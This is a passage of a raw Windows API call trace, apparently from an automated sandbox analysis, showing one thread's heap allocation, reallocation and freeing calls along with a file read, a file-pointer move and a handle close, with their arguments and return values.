lpNumberOfBytesRead=0x9ba0e4*=0x1000, lpOverlapped=0x0) returned 1 [0075.111] GetLastError () returned 0x0 [0075.111] GetCurrentThreadId () returned 0x9b0 [0075.111] GetLastError () returned 0x0 [0075.111] GetCurrentThreadId () returned 0x9b0 [0075.111] GetLastError () returned 0x0 [0075.111] SetFilePointer (in: hFile=0x2d8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b8dbc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b8dbc*=0) returned 0x7ae6d1 [0075.112] GetLastError () returned 0x0 [0075.112] GetCurrentThreadId () returned 0x9b0 [0075.112] GetLastError () returned 0x0 [0075.112] GetLastError () returned 0x0 [0075.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc44d8 | out: hHeap=0x2ad0000) returned 1 [0075.112] CloseHandle (hObject=0x2d8) returned 1 [0075.112] GetLastError () returned 0x0 [0075.112] GetCurrentThreadId () returned 0x9b0 [0075.112] GetLastError () returned 0x0 [0075.112] GetCurrentThreadId () returned 0x9b0 [0075.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x317d7f0 [0075.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x317f3c8 [0075.112] GetLastError () returned 0x0 [0075.112] GetCurrentThreadId () returned 0x9b0 [0075.112] GetLastError () returned 0x0 [0075.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317d7f0 | out: hHeap=0x2ad0000) returned 1 [0075.112] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x317f3c8, Size=0xf0a) returned 0x317f3c8 [0075.112] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30f5d18 | out: hHeap=0x2ad0000) returned 1 [0075.112] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8268 [0075.112] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8268, Size=0x20) returned 0x3028490 [0075.113] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028490, Size=0x40) returned 0x2a19250 [0075.113] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19250, Size=0x64) returned 0x2a19968 [0075.113] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0x8c) returned 0x2ac0450 [0075.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0450 | out: hHeap=0x2ad0000) returned 1 [0075.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317f3c8 | out: hHeap=0x2ad0000) returned 1 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302bc10 [0075.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bc10 | out: hHeap=0x2ad0000) returned 1 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc830 [0075.113] GetCurrentThreadId () returned 0x9b0 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0075.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0075.113] GetCurrentThreadId () returned 0x9b0 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc9b8 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fbf00 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302bca0 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8430 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83a0 [0075.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x302bd50 [0075.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302bc80 [0075.114] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302bd50, Size=0x14) returned 0x2a71580 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bc80 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83a0 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8430 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bca0 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fc9b8 | out: hHeap=0x2ad0000) returned 1 [0075.114] GetCurrentThreadId () returned 0x9b0 [0075.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc9b8 [0075.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc088 [0075.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302bab0 [0075.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0075.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8388 [0075.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x302bac0 [0075.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302b9f0 [0075.114] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x302bac0, Size=0x14) returned 0x2a71580 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302b9f0 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8388 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca83b8 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bab0 | out: hHeap=0x2ad0000) returned 1 [0075.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0075.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fc9b8 | out: hHeap=0x2ad0000) returned 1 [0075.115] GetCurrentThreadId () returned 0x9b0 [0075.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0075.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0075.115] GetCurrentThreadId () returned 0x9b0 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71580 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71680 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302bd10 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71700 [0075.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bd10 | out: hHeap=0x2ad0000) returned 1 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x302bd40 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x3028490 [0075.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bd40 | out: hHeap=0x2ad0000) returned 1 [0075.115] GetCurrentThreadId () returned 0x9b0 [0075.115] GetCurrentThreadId () returned 0x9b0 [0075.115] GetCurrentThreadId () returned 0x9b0 [0075.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028490 | out: hHeap=0x2ad0000) returned 1 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbddc8 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8358 [0075.115] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8358 | out: hHeap=0x2ad0000) returned 1 [0075.115] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2cb7278 [0075.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb7278 | out: hHeap=0x2ad0000) returned 1 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2cb7278 [0075.116] GetCurrentThreadId () returned 0x9b0 [0075.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb7278 | out: hHeap=0x2ad0000) returned 1 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc210 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x607) returned 0x2ab3e38 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8430 [0075.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8430 | out: hHeap=0x2ad0000) returned 1 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81f0 [0075.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81f0 | out: hHeap=0x2ad0000) returned 1 [0075.116] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab3e38, Size=0x6b5) returned 0x2ab3e38 [0075.116] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab3e38, Size=0x8bf) returned 0x2ab3e38 [0075.116] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab3e38, Size=0x7f8) returned 0x2ab3e38 [0075.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30fc210 | out: hHeap=0x2ad0000) returned 1 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x30fc210 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca84c0 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2010) returned 0x317d7f0 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x398) returned 0x303bc38 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7e5) returned 0x2ab4638 [0075.116] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab4638, Size=0x7e4) returned 0x2ab4638 [0075.116] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4660) returned 0x317f808 [0075.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x317f808 | out: hHeap=0x2ad0000) returned 1 [0075.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4638 | out: hHeap=0x2ad0000) returned 1 [0075.118] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x303bc38 | out: hHeap=0x2ad0000) returned 1 [0075.118] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81d8 [0075.118] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca81d8, Size=0x20) returned 0x30282b0 [0075.118] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x30282b0, Size=0x40) returned 0x2a19370 [0075.118] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19370, Size=0x64) returned 0x2a19658 [0075.118] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19658, Size=0x8c) returned 0x2ac07e0 [0075.118] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac07e0, Size=0xb8) returned 0x3028f88 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.118] GetLastError () returned 0x0 [0075.119] GetLastError () returned 0x0 [0075.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8298 | out: hHeap=0x2ad0000) returned 1 [0075.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcf20 [0075.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd230 [0075.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3182c48 [0075.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x31830e0 [0075.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2b62da8 [0075.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31830e0 | out: hHeap=0x2ad0000) returned 1 [0075.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3182c48 | out: hHeap=0x2ad0000) returned 1 [0075.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2b62da8 | out: hHeap=0x2ad0000) returned 1 [0075.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x3183578 [0075.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183578 | out: hHeap=0x2ad0000) returned 1 [0075.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd230 | out: hHeap=0x2ad0000) returned 1 [0075.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbcf20 | out: hHeap=0x2ad0000) returned 1 [0075.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302baf0 [0075.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302baf0 | out: hHeap=0x2ad0000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x302baa0 [0075.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302baa0 | out: hHeap=0x2ad0000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x54) returned 0x2aa2918 [0075.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2918 | out: hHeap=0x2ad0000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x54) returned 0x2aa2b58 [0075.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2b58 | out: hHeap=0x2ad0000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca83b8 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbcf20 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd230 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028260 [0075.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028468 [0075.120] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028468 | out: hHeap=0x2ad0000) returned 1 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81d8 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x22) returned 0x2a20078 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x88) returned 0x302bd78 [0075.120] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x88) returned 0x30295a8 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bd78 | out: hHeap=0x2ad0000) returned 1 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30295a8 | out: hHeap=0x2ad0000) returned 1 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81d8 | out: hHeap=0x2ad0000) returned 1 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbd230 | out: hHeap=0x2ad0000) returned 1 [0075.121] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca83b8, Size=0x10) returned 0x2ca8220 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd230 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x303bc38 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x302bb58 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bb58 | out: hHeap=0x2ad0000) returned 1 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x302bbb8 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bbb8 | out: hHeap=0x2ad0000) returned 1 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x2ab4638 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x302bad8 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e) returned 0x2a19250 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x2cbacf8 [0075.121] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x303bec0 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbacf8 | out: hHeap=0x2ad0000) returned 1 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19250 | out: hHeap=0x2ad0000) returned 1 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x303bec0 | out: hHeap=0x2ad0000) returned 1 [0075.121] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bad8 | out: hHeap=0x2ad0000) returned 1 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4638 | out: hHeap=0x2ad0000) returned 1 [0075.122] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8220, Size=0x10) returned 0x2ca8460 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x302ba60 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302ba60 | out: hHeap=0x2ad0000) returned 1 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x302bc50 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bc50 | out: hHeap=0x2ad0000) returned 1 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x302bb58 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4748 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x3028440 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30284e0 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028440 | out: hHeap=0x2ad0000) returned 1 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4748 | out: hHeap=0x2ad0000) returned 1 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x302bb58 | out: hHeap=0x2ad0000) returned 1 [0075.122] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8460, Size=0x10) returned 0x2ca8388 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca82b0 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca82b0 | out: hHeap=0x2ad0000) returned 1 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ca8250 [0075.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8250 | out: hHeap=0x2ad0000) returned 1 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8358 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x16) returned 0x3183a60 [0075.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x58) returned 0x2aa2738 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x58) returned 0x2aa2bb8 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2738 | out: hHeap=0x2ad0000) returned 1 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a60 | out: hHeap=0x2ad0000) returned 1 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8358 | out: hHeap=0x2ad0000) returned 1 [0075.123] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8388, Size=0x10) returned 0x2ca8400 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183ca0 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183ca0 | out: hHeap=0x2ad0000) returned 1 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183aa0 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183aa0 | out: hHeap=0x2ad0000) returned 1 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x31813c8 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x280) returned 0x2ab4638 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2cb7278 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x53) returned 0x2aa2678 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14c) returned 0x2c81978 [0075.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14c) returned 0x2ab48c0 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81978 | out: hHeap=0x2ad0000) returned 1 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2678 | out: hHeap=0x2ad0000) returned 1 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab48c0 | out: hHeap=0x2ad0000) returned 1 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cb7278 | out: hHeap=0x2ad0000) returned 1 [0075.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4638 | out: hHeap=0x2ad0000) returned 1 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31813c8 | out: hHeap=0x2ad0000) returned 1 [0075.124] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8400, Size=0x10) returned 0x2ca81f0 [0075.124] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x303bc38, Size=0x500) returned 0x3184018 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4818 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4818 | out: hHeap=0x2ad0000) returned 1 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ab4968 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4968 | out: hHeap=0x2ad0000) returned 1 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8388 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xa) returned 0x2ca8340 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a201c8 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x28) returned 0x2a1ffe8 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8340 | out: hHeap=0x2ad0000) returned 1 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffe8 | out: hHeap=0x2ad0000) returned 1 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8388 | out: hHeap=0x2ad0000) returned 1 [0075.124] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca81f0, Size=0x10) returned 0x2ca8388 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab46a8 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab46a8 | out: hHeap=0x2ad0000) returned 1 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4878 [0075.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4878 | out: hHeap=0x2ad0000) returned 1 [0075.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183a80 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4698 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca81d8 [0075.125] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8460 [0075.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca81d8 | out: hHeap=0x2ad0000) returned 1 [0075.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4698 | out: hHeap=0x2ad0000) returned 1 [0075.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8460 | out: hHeap=0x2ad0000) returned 1 [0075.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183a80 | out: hHeap=0x2ad0000) returned 1 [0075.125] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8388, Size=0x10) returned 0x2ca83b8 [0075.125] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3184018, Size=0xa00) returned 0x3184018 [0075.125] RtlAllocateHeap 